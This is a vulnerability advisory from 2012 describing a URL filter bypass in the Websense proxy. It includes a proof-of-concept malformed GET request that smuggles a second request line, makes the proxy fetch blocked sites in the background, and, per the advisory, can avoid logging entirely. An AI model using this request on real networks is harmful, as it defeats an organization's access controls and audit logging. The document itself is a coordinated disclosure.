Websense Proxy Filter Bypass
 
 
 
1. Advisory Information
 
Date published: 2012-11-25
 
Vendors contacted: Websense
 
Release mode: Coordinated release (Vendor was notified)
 
2. Vulnerability Information
 
Class: Filter Bypass
 
Remotely Exploitable: Yes
 
 
 
3. Software Description
 
Internet access management system allows an organization to monitor, report and manage internal Internet use.
 
 
 
4. Vulnerability Description
 
An authenticated user could successfully bypass URL restrictions and access unauthorized sites.
 
5. Vulnerable packages
 
All ? No patch available yet
 
6. Technical Description - PoC
 
It's possible to bypass the proxy filter by issuing the following specially crafted request:
 
 
 
====
 
GET www.facebook.com http/1.1
 
Accept: text/Html, application/xHtml+xml, */*
 
Accept-Language: es-AR
 
Cache-Control: no-cache
 
Content-length: 1
 
 
 
GET ://OTHERURL/OTHEROTHER
 
a
 
====
 
 
 
And Websense will fetch the Facebook site and log "OTHERURL" (which is also fetched in the background).
 
 
 
To be completely stealth, just remove ?a? char and no log will be recorded.
 
 
 
Limitations: It's only possible to issue GET requests.
 
 
 
It will only work if the remote Webserver accepts malformed GET requests specifying a Content-Length, like Facebook, Hotmail, Etc. The attacker might use a WebProxy with this property, completely bypassing the filter.
 
 
 
7. Credits
 
Nahuel Grisolia discovered this vulnerability.
 
nahuel@cintainfinita.com.ar
 
https://cintainfinita.com.ar
 
 
 
8. Report Timeline
 
* 2012-04-23 / Vulnerability identified
 
* 2012-04-23 / Vendor contacted
 
* 2012-04-23 / Vulnerability details sent to Vendor
 
* 2012-04-23 ? 2012-11-24 / Multiple contacts
 
* 2012-11-25 / Vulnerability Disclosed ? PoC attached